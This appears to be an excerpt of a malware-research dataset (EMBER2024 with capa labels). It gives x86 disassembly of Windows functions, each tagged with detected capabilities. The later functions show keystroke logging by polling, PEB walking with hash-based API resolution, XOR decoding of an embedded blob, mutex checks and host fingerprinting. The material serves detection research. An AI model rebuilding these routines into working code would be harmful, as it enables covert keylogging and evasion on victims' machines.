joyce8/EMBER2024-capa huggingface dataset:
Function at 0x455d58
Capabilities:
Get keyboard layout
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffda0
push ebx
xor edx, edx
mov dword [ebp - 0x260], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x455f03
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
cmp dword [eax + 0x34], 0
jne 0x455ee4
mov dl, 1
mov eax, dword [0x412ddc]
call fcn.00403644
mov edx, dword [ebp - 4]
mov dword [edx + 0x34], eax
mov eax, dword [ebp - 4]
add eax, 0x38
call fcn.00404484
lea eax, [ebp - 0x114]
push eax
push 0x40
call sub.user32.dll_GetKeyboardLayoutList
dec eax
test eax, eax
jl 0x455ed3
inc eax
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x114]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
call fcn.00443c30
test al, al
je 0x455ec6
lea eax, [ebp - 0xc]
push eax
push 0x20019
push 0
push 0
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x25c], eax
mov byte [ebp - 0x258], 0
lea ecx, [ebp - 0x25c]
mov edx, 0x455f14
lea eax, [ebp - 0x254]
call fcn.00409730
push eax
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x455ec6
xor eax, eax
push ebp
push 0x455ebf
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 8], pe_nt_image_headers32
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x214]
push eax
push 0
push 0
push 0x455f4c
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
jne 0x455ea8
lea eax, [ebp - 0x260]
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.004046f4
mov edx, dword [ebp - 0x260]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov ebx, dword [eax]
call dword [ebx + 0x3c]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov edx, dword [ebp - 4]
cmp eax, dword [edx + 0x3c]
jne 0x455ea8
mov eax, dword [ebp - 4]
add eax, 0x38
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.004046f4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x455ec6
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey_1
ret
add dword [ebp - 0x14], 4
dec dword [ebp - 0x10]
jne 0x455dc9
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov byte [eax + 0x1d], 0
mov dl, 1
call fcn.004171ec
mov eax, dword [ebp - 4]
mov ebx, dword [eax + 0x34]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x455f0a
lea eax, [ebp - 0x260]
call fcn.00404484
ret

Function at 0x45684c
Capabilities:
Create thread
Set global application hook

Disassembly:
push ecx
mov eax, dword [0x475b74]
cmp byte [eax + 0xa5], 0
jne 0x4568bd
cmp dword [0x475b8c], 0
jne 0x45687e
call sub.kernel32.dll_GetCurrentThreadId_1
push eax
push 0
mov eax, 0x456808
push eax
push 3
call sub.user32.dll_SetWindowsHookExA
mov dword [0x475b8c], eax
cmp dword [0x475b88], 0
jne 0x456899
push 0
push 0
push 0
push 0
call sub.kernel32.dll_CreateEventA
mov dword [0x475b88], eax
cmp dword [0x475b90], 0
jne 0x4568bd
push esp
push 0
push 0
push 0x4567ac
push 0x3e8
push 0
call sub.kernel32.dll_CreateThread_1
mov dword [0x475b90], eax
pop edx
ret
Function at 0x456f50
Capabilities:
Enumerate gui resources

Disassembly:
push ebx
push esi
add esp, 0xfffffff8
mov ebx, eax
mov eax, dword [0x475b74]
cmp dword [eax + 0x30], 0
je 0x456ffa
cmp dword [ebx + 0x94], 0
jne 0x456ff4
mov eax, dword [ebx + 0x30]
mov dword [esp], eax
mov byte [esp + 4], dl
mov eax, esp
push eax
push 0x456ee0
call sub.user32.dll_EnumWindows
mov eax, dword [ebx + 0x90]
cmp dword [eax + 8], 0
je 0x456ff4
push 3
mov eax, dword [esp + 4]
push eax
call sub.user32.dll_GetWindow
mov esi, eax
mov dword [esp], esi
push 0xffffffffffffffec
push esi
call sub.user32.dll_GetWindowLongA
test al, 8
je 0x456fba
mov dword [esp], 0xfffffffe
mov eax, dword [ebx + 0x90]
mov esi, dword [eax + 8]
dec esi
cmp esi, 0
jl 0x456ff4
push 0x213
push 0
push 0
push 0
push 0
mov eax, dword [esp + 0x14]
push eax
mov edx, esi
mov eax, dword [ebx + 0x90]
call fcn.00414de0
push eax
call sub.user32.dll_SetWindowPos
dec esi
cmp esi, 0xffffffff
jne 0x456fc9
inc dword [ebx + 0x94]
pop ecx
pop edx
pop esi
pop ebx
ret

Function at 0x457b58
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
add esp, 0xffffff00
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0xa4], 0
je 0x457b8d
push pe_nt_image_headers32
lea eax, [esp + 4]
push eax
mov eax, dword [ebx + 0x30]
push eax
call sub.user32.dll_GetWindowTextA
mov ecx, eax
mov edx, esp
mov eax, esi
call fcn.00404574
jmp 0x457b9a
mov eax, esi
mov edx, dword [ebx + 0x8c]
call fcn.004044d8
add esp, 0x100
pop esi
pop ebx
ret

Function at 0x458d3c
Capabilities:
Hide graphical window

Disassembly:
push ebx
push esi
mov ebx, eax
mov esi, dword [ebx + 0x84]
test esi, esi
je 0x458d7d
mov eax, esi
call fcn.0043f20c
test al, al
je 0x458d7d
mov eax, dword [ebx + 0x84]
call fcn.0043ef08
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x458d7d
push 0
mov eax, dword [ebx + 0x84]
call fcn.0043ef08
push eax
call sub.user32.dll_ShowWindow
pop esi
pop ebx
ret

Function at 0x45e990
Capabilities:
Query or enumerate registry key

Disassembly:
push ebx
push esi
mov ebx, edx
mov esi, eax
mov eax, ebx
xor ecx, ecx
mov edx, 0x1c
call fcn.0040308c
lea eax, [ebx + 0x14]
push eax
push 0
lea eax, [ebx + 0x10]
push eax
lea eax, [ebx + 0xc]
push eax
lea eax, [ebx + 8]
push eax
push 0
lea eax, [ebx + 4]
push eax
push ebx
push 0
push 0
push 0
mov eax, dword [esi + 4]
push eax
call sub.advapi32.dll_RegQueryInfoKeyA
test eax, eax
sete al
mov edx, dword [0x474ce8]
cmp byte [edx + 0xc], 0
je 0x45e9f4
mov edx, dword [0x474cd0]
cmp dword [edx], 2
jne 0x45e9f4
mov edx, dword [ebx + 4]
add dword [ebx + 4], edx
mov edx, dword [ebx + 0xc]
add dword [ebx + 0xc], edx
pop esi
pop ebx
ret
Function at 0x45e9f8
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd4
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 4], edx
mov edi, eax
xor eax, eax
push ebp
push 0x45eab0
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
mov edx, dword [eax]
call dword [edx + 0x44]
lea edx, [ebp - 0x28]
mov eax, edi
call fcn.0045e990
test al, al
je 0x45ea92
mov ecx, dword [ebp - 0x1c]
inc ecx
lea eax, [ebp - 0xc]
xor edx, edx
call fcn.00404574
mov ebx, dword [ebp - 0x20]
dec ebx
test ebx, ebx
jl 0x45ea92
inc ebx
xor esi, esi
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 8], eax
push 0
push 0
push 0
push 0
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp - 0xc]
call fcn.00404944
push eax
push esi
mov eax, dword [edi + 4]
push eax
call sub.advapi32.dll_RegEnumValueA
mov eax, dword [ebp - 0xc]
call fcn.00404944
mov edx, eax
lea eax, [ebp - 0x2c]
call fcn.0040467c
mov edx, dword [ebp - 0x2c]
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
call dword [ecx + 0x38]
inc esi
dec ebx
jne 0x45ea4b
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x45eab7
lea eax, [ebp - 0x2c]
call fcn.00404484
lea eax, [ebp - 0xc]
call fcn.00404484
ret

Function at 0x45ec20
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
mov edi, edx
mov ebx, eax
mov al, byte [ebp + 8]
call fcn.0045e710
mov esi, eax
mov eax, dword [ebp + 0xc]
push eax
mov eax, dword [ebp - 4]
push eax
push esi
push 0
mov eax, edi
call fcn.00404944
push eax
mov eax, dword [ebx + 4]
push eax
call sub.advapi32.dll_RegSetValueExA
test eax, eax
je 0x45ec7e
mov dword [ebp - 0xc], edi
mov byte [ebp - 8], 0xb
lea eax, [ebp - 0xc]
push eax
push 0
mov ecx, dword [0x474a34]
mov dl, 1
mov eax, dword [0x45e608]
call fcn.0040c304
call fcn.00403e14
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x45ec88
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
mov ebx, eax
xor eax, eax
mov dword [ebp - 4], eax
lea eax, [ebp + 0xc]
push eax
push edi
lea eax, [ebp - 4]
push eax
push 0
mov eax, esi
call fcn.00404944
push eax
mov eax, dword [ebx + 4]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
je 0x45ece0
mov dword [ebp - 0xc], esi
mov byte [ebp - 8], 0xb
lea eax, [ebp - 0xc]
push eax
push 0
mov ecx, dword [0x474cf4]
mov dl, 1
mov eax, dword [0x45e608]
call fcn.0040c304
call fcn.00403e14
mov ebx, dword [ebp + 0xc]
mov eax, dword [ebp - 4]
call fcn.0045e740
mov edx, dword [ebp + 8]
mov byte [edx], al
mov eax, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x46b2d4
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
mov edi, edx
mov esi, eax
mov ebx, dword [ebp + 8]
cmp dword [ebx], 0
jne 0x46b302
mov ecx, 4
mov dl, 1
mov eax, dword [0x469b2c]
call fcn.0046e1e8
call fcn.00403e14
mov eax, dword [ebx]
mov byte [eax + 0x14], 1
mov eax, dword [ebx]
push eax
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp - 4]
push eax
push edi
mov eax, dword [esi + 0x38]
push eax
call sub.kernel32.dll_ReadFile
test eax, eax
jne 0x46b331
call sub.kernel32.dll_GetLastError
cmp eax, 0x3e5
je 0x46b331
xor eax, eax
jmp 0x46b333
mov al, 1
test al, al
jne 0x46b353
call sub.kernel32.dll_GetLastError
push eax
mov ecx, 3
mov dl, 1
mov eax, dword [0x469b2c]
call fcn.0046e124
call fcn.00403e14
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
pop ecx
pop ecx
pop ebp
ret 4
Function at 0x40952c
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x374
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
mov edi, ecx
test ebx, ebx
je 0x409685
cmp dword [ebx + 4], 0x201
jne 0x409615
push edi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
movzx eax, word [edi + 0x1e]
test ax, ax
je 0x40960c
push 0x61
dec eax
lea edx, [esp + 0x28]
pop ecx
mov word [edi + 0x1e], ax
call fcn.0041c8a9
push ecx
lea ecx, [esp + 0x28]
call fcn.0040d010
xor esi, esi
mov dword [esp + 0xc], eax
test eax, eax
je 0x4095fb
push 0x5f
lea edx, [esp + 0x40]
pop ecx
call fcn.0041c8a9
push 0x60
lea edx, [esp + 0x14]
pop ecx
call fcn.0041c8a9
cmp dword [edi + 0x20], 0
lea esi, [esp + 0x10]
cmovne esi, dword [edi + 0x20]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
push esi
lea eax, [esp + 0x48]
push eax
push 0
lea eax, [esp + 0x18c]
push 0x104
push eax
call fcn.00418a50
mov esi, dword [esp + 0x28]
add esp, 0x1c
test eax, eax
jne 0x4095f3
push esi
lea eax, [esp + 0x17c]
push eax
call fcn.0042aa25
mov eax, dword [esi]
push esi
call dword [eax + 8]
xor esi, esi
cmp word [edi + 0x1e], si
jne 0x40960c
mov ecx, dword [edi + 0x20]
call fcn.00430e28
mov dword [edi + 0x20], esi
push edi
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
jmp 0x409685
cmp dword [ebx + 4], 0x100
jne 0x409685
cmp dword [ebx + 8], 0x1b
je 0x409685
lea eax, [esp + 0x78]
push eax
call dword [sym.imp.USER32.dll_GetKeyboardState]
test eax, eax
je 0x409685
push 0
push 9
lea eax, [esp + 0x18]
push eax
lea eax, [esp + 0x84]
push eax
movzx eax, byte [ebx + 0xe]
push eax
push dword [ebx + 8]
call dword [sym.imp.USER32.dll_ToUnicode]
test eax, eax
jle 0x409685
cmp eax, 1
jne 0x409668
cmp dword [ebx + 8], 8
jne 0x40966a
push 0x404d5c
jmp 0x40967e
jg 0x409672
cmp word [esp + 0x10], 0x20
jb 0x409685
xor ecx, ecx
mov word [esp + eax*2 + 0x10], cx
lea eax, [esp + 0x10]
push eax
mov ecx, edi
call fcn.004093e2
push ebx
call dword [ebp + 8]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x40a155
Capabilities:
Access peb ldr_data
Resolve function by hash

Disassembly:
push esi
push edi
cld
mov edx, dword fs:[0x30]
mov edx, dword [edx + 0xc]
mov edx, dword [edx + 0x14]
mov esi, dword [edx + 0x28]
mov ecx, 0x18
xor edi, edi
xor eax, eax
lodsb al, byte [esi]
cmp al, 0x61
jl 0x40a178
sub al, 0x20
ror edi, 0xd
add edi, eax
loop 0x40a16f
cmp edi, 0x6a4abc5b
mov eax, dword [edx + 0x10]
mov edx, dword [edx]
jne 0x40a165
pop edi
pop esi
ret
Function at 0x40a266
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2d8
push esi
push edi
test cl, 1
je 0x40a305
cmp byte [0x440b84], 1
jbe 0x40a318
xor esi, esi
xor edi, edi
mov cx, word [edi + 0x404f78]
lea edx, [ebp - 0xd0]
call fcn.0041c8a9
lea eax, [ebp - 0x2d8]
push eax
push 0
push 0
push dword [edi + 0x404f80]
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jne 0x40a2e9
lea eax, [ebp - 0xd0]
lea edx, [ebp - 0x2d8]
push eax
mov ecx, edx
call fcn.00419668
test eax, eax
je 0x40a2e9
push dword [0x440770]
lea eax, [ebp - 0x2d8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x40a2f4
add edi, 0xc
inc esi
cmp edi, 0x54
jb 0x40a28b
jmp 0x40a318
imul esi, esi, 0xc
mov eax, dword [esi + 0x404f7c]
or dword [0x440730], eax
jmp 0x40a318
mov eax, dword [0x440730]
test al, 1
je 0x40a318
or eax, 0xfe0
mov dword [0x440730], eax
pop edi
mov al, 1
pop esi
leave
ret

Function at 0x40a31e
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x42c
lea ecx, [ebp - 0x426]
push ebx
push esi
push edi
call fcn.004318a9
lea esi, [eax + 0x1b2]
mov ecx, esi
call fcn.00418988
xor ebx, ebx
test eax, eax
js 0x40a38c
push 0x14
lea ecx, [ebp - 0x2c]
push ecx
push eax
push esi
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
test eax, eax
jle 0x40a38c
cmp word [ebp + eax*2 - 0x2e], bx
je 0x40a36f
cmp eax, 0x14
jge 0x40a38c
xor ecx, ecx
mov word [ebp + eax*2 - 0x2c], cx
lea eax, [ebp - 0x2c]
push eax
mov edx, str.C:UsersAdministratorAppDataLocalLow
lea ecx, [ebp - 0x238]
call fcn.00419668
test eax, eax
setne al
test al, al
jne 0x40a395
xor eax, eax
mov word [ebp - 0x238], ax
mov ecx, 0x1ee
lea eax, [ebp - 0x426]
mov byte [eax], bl
inc eax
dec ecx
jne 0x40a3a0
push 0x404db0
lea eax, [ebp - 0x238]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
xor edi, edi
push edi
push edi
push 3
push edi
push 1
push 0x80000000
lea eax, [ebp - 0x238]
push eax
mov dword [ebp - 4], 0x1fe
or ebx, 0xffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x40a407
push edi
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
lea eax, [ebp - 0x238]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
cmovne ebx, dword [ebp - 4]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp ebx, 0xffffffff
je 0x40a411
test bl, 1
je 0x40a413
mov ebx, edi
shr ebx, 1
xor ecx, ecx
mov word [ebp + ebx*2 - 0x238], cx
mov ecx, dword [0x440fcc]
call fcn.004313c0
mov al, 1
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40a431
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, dword [0x440730]
sub esp, 0x780
push ebx
push ebp
push esi
push edi
mov ebx, ecx
push 0
mov esi, ebx
pop ecx
and esi, 1
cmove eax, ecx
mov dword [0x440730], eax
call fcn.0040a155
mov edi, eax
mov dword [0x440748], edi
test edi, edi
je 0x40a5cb
xor ebp, ebp
test esi, esi
jne 0x40a483
push ebp
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov dword [0x440744], eax
test eax, eax
jmp 0x40a4ab
mov edx, 0x404d90
mov ecx, edi
call fcn.0040d648
mov edx, 0x404da0
push eax
mov ecx, edi
call fcn.0040d648
mov ecx, dword [0x440744]
mov edx, eax
call fcn.0040d782
test al, al
je 0x40a5cb
mov ecx, esi
call fcn.0043122f
test al, al
je 0x40a5cb
lea eax, [esp + 0x10]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov ecx, ebx
call fcn.0040a18f
test al, al
je 0x40a5cb
test esi, esi
jne 0x40a506
push ebp
push ebp
push 1
push 0x44074c
call dword [sym.imp.KERNEL32.dll_CreateEventW]
or dword [0x440df4], 0xffffffff
mov dword [0x440df0], eax
test eax, eax
je 0x40a5cb
mov edx, 0x440740
or ecx, 0xffffffff
call fcn.00428561
mov dword [0x440734], eax
test eax, eax
je 0x40a5cb
push dword [eax]
call dword [sym.imp.ADVAPI32.dll_GetLengthSid]
mov dword [0x440738], eax
push eax
mov eax, dword [0x440734]
mov edx, 0x44073c
push dword [eax]
push 2
pop ecx
call fcn.00429b5f
mov ecx, ebx
call fcn.0040a204
test al, al
je 0x40a5cb
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x440b88], eax
test esi, esi
jne 0x40a5aa
push ecx
mov ecx, dword [0x440744]
call fcn.0042ce88
test eax, eax
je 0x40a5cb
sub eax, dword [0x440744]
mov dword [0x440dec], eax
test esi, esi
jne 0x40a5aa
lea ecx, [esp + 0x1a0]
call fcn.0040a9b5
lea eax, [esp + 0x61d]
push ebp
push eax
push str.94F1EBDD_CE5C_C711_DFD7_32AB1222B89F
push dword [0x44073c]
mov edx, 0x84939312
mov ecx, 0x440b8c
call fcn.00414f8a
mov ecx, ebx
call fcn.0040a266
test al, al
je 0x40a5cb
test bl, 2
je 0x40a5c1
call fcn.0040a31e
jmp 0x40a5c4
xor eax, eax
inc eax
test al, al
setne al
jmp 0x40a5cd
xor al, al
pop edi
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x40a5d5
Capabilities:
Check mutex on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x84c
push esi
mov esi, ecx
lea ecx, [esp + 0x260]
call fcn.0040a9b5
lea ecx, [esp + 0x72]
call fcn.004318a9
mov edx, dword [eax + 0x1e6]
push 2
lea ecx, [esp + 0x6e1]
push ecx
lea ecx, [esp + 0x10]
push ecx
push esi
mov ecx, 0x440b8c
call fcn.00414f8a
mov ecx, 0x1ee
lea eax, [esp + 0x72]
mov byte [eax], 0
inc eax
dec ecx
jne 0x40a622
lea eax, [esp + 8]
push eax
push 1
push 0x44074c
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov esi, eax
test esi, esi
je 0x40a657
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x40a657
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor esi, esi
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x40a80a
Capabilities:
Get hostname

Disassembly:
sub esp, 0x204
push ebx
lea eax, [esp + 0x10]
push eax
lea eax, [esp + 0x44]
push eax
mov ebx, ecx
mov dword [esp + 0x18], 0x28
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
test eax, eax
jne 0x40a83d
lea edx, [esp + 0x40]
mov ecx, 0xce
call fcn.0041c8a9
push ebp
push esi
push edi
mov edi, dword [sym.imp.msvcrt.dll_memset]
mov ebp, 0x11c
push ebp
xor esi, esi
lea eax, [esp + 0xfc]
push esi
push eax
call edi
add esp, 0xc
lea eax, [esp + 0xf8]
push eax
mov dword [esp + 0xfc], ebp
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
jne 0x40a87f
push ebp
lea eax, [esp + 0xfc]
jmp 0x40a88b
push 0x100
lea eax, [esp + 0x110]
push esi
push eax
call edi
add esp, 0xc
lea edx, [esp + 0x9c]
mov ecx, 0xc9
call fcn.0041c8a9
lea edx, [esp + 0x28]
mov ecx, 0xca
call fcn.0041c8a9
lea eax, [esp + 0x28]
push eax
lea edx, [esp + 0xa0]
call fcn.0040cea9
lea edx, [esp + 0x28]
mov ecx, 0xcb
mov dword [esp + 0x20], eax
call fcn.0041c8a9
lea eax, [esp + 0x18]
push eax
push 1
push esi
lea eax, [esp + 0xa8]
mov ecx, 0x80000002
push eax
push ecx
mov dword [esp + 0x28], esi
mov dword [esp + 0x2c], ecx
mov dword [esp + 0x24], esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x40a919
lea eax, [esp + 0x10]
push eax
push esi
lea edx, [esp + 0x30]
lea ecx, [esp + 0x20]
call fcn.0040cf8a
mov esi, dword [esp + 0x10]
jmp 0x40a91c
or eax, 0xffffffff
cmp eax, 0xffffffff
je 0x40a93a
test eax, eax
je 0x40a93a
push eax
push esi
push 2
lea edx, [esp + 0x20]
pop ecx
call fcn.00429b5f
mov ecx, esi
call fcn.00430e28
mov eax, dword [esp + 0x14]
lea edx, [esp + 0x28]
mov ecx, 0xcc
mov dword [esp + 0x24], eax
call fcn.0041c8a9
lea eax, [esp + 0xf8]
push ebp
push eax
push 2
lea edx, [esp + 0x1c]
pop ecx
call fcn.00429b5f
lea eax, [esp + 0x20]
push 8
push eax
push 2
lea edx, [esp + 0x20]
pop ecx
call fcn.00429b5f
lea eax, [esp + 0x4c]
push dword [esp + 0x14]
push dword [esp + 0x14]
push eax
lea eax, [esp + 0x34]
push eax
push 0x3c
push ebx
call fcn.00434140
add esp, 0x18
mov dword [esp + 0x1c], eax
pop edi
pop esi
pop ebp
cmp eax, 1
jge 0x40a9ad
mov edx, ebx
mov ecx, 0xcd
call fcn.0041c8a9
pop ebx
add esp, 0x204
ret

Function at 0x40a9b5
Capabilities:
Encode data using xor

Disassembly:
push esi
push edi
mov edi, 0x5f0
push edi
mov esi, ecx
push 0x4058b0
push esi
call dword [sym.imp.msvcrt.dll_memcpy]
mov ecx, dword [0x440dec]
add ecx, dword [0x440744]
add esp, 0xc
sub ecx, esi
mov al, byte [ecx + esi]
xor byte [esi], al
inc esi
dec edi
jne 0x40a9dc
pop edi
pop esi
ret
Function at 0x40aab3
Capabilities:
Encode data using xor

Disassembly:
sub esp, 0x134
push ebx
push ebp
push esi
push edi
mov ebp, 0x114
push ebp
lea eax, [esp + 0x2c]
push 0x404e60
push eax
mov edi, edx
mov ebx, ecx
mov dword [esp + 0x30], 0x4076fe51
call dword [sym.imp.msvcrt.dll_memcpy]
add esp, 0xc
xor edx, edx
xor ecx, ecx
mov al, byte [esp + ecx + 0x24]
xor byte [esp + edx + 0x28], al
inc ecx
xor eax, eax
cmp ecx, 4
cmove ecx, eax
inc edx
cmp edx, ebp
jb 0x40aae6
push 1
lea ecx, [esp + 0x18]
call fcn.004299cf
and dword [esp + 0x20], 0
push ecx
lea eax, [esp + 0x2c]
push eax
lea ecx, [esp + 0x1c]
call fcn.0042b3ae
test al, al
je 0x40ab61
lea ecx, [esp + 0x14]
call fcn.0042b3f9
mov esi, eax
test esi, esi
je 0x40ab61
cmp edi, esi
jbe 0x40ab61
sub edi, esi
push edi
push ebx
lea ecx, [esp + 0x1c]
call fcn.00429a5d
test al, al
je 0x40ab61
push ecx
push esi
lea eax, [edi + ebx]
push eax
lea ecx, [esp + 0x20]
call fcn.0042b438
test al, al
je 0x40ab61
lea ecx, [esp + 0x14]
call fcn.0042b394
jmp 0x40ab6c
lea ecx, [esp + 0x14]
call fcn.0042b394
xor esi, esi
push ebp
lea eax, [esp + 0x2c]
push 0
push eax
call dword [sym.imp.msvcrt.dll_memset]
add esp, 0xc
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x134
ret

Function at 0x40acf6
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
lea eax, [ebp - 4]
push ebx
push esi
push eax
push ecx
mov esi, edx
xor bl, bl
call dword [sym.imp.ADVAPI32.dll_ConvertSidToStringSidW]
test eax, eax
je 0x40ad88
push edi
push dword [ebp - 4]
mov edi, 0x104
push 0x404dc0
lea eax, [ebp - 0x20c]
push edi
push eax
call fcn.00434140
add esp, 0x10
test eax, eax
jle 0x40ad7e
push ecx
lea eax, [ebp - 0x20c]
push eax
push 0x404e38
mov edx, eax
mov ecx, 0x80000002
call fcn.0040cde9
test eax, eax
je 0x40ad7e
cmp eax, 0xffffffff
je 0x40ad7e
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.SHLWAPI.dll_PathUnquoteSpacesW]
lea eax, [ebp - 0x20c]
push edi
push esi
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
dec eax
lea ecx, [edi - 1]
cmp ecx, eax
sbb bl, bl
inc bl
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop edi
pop esi
mov al, bl
pop ebx
leave
ret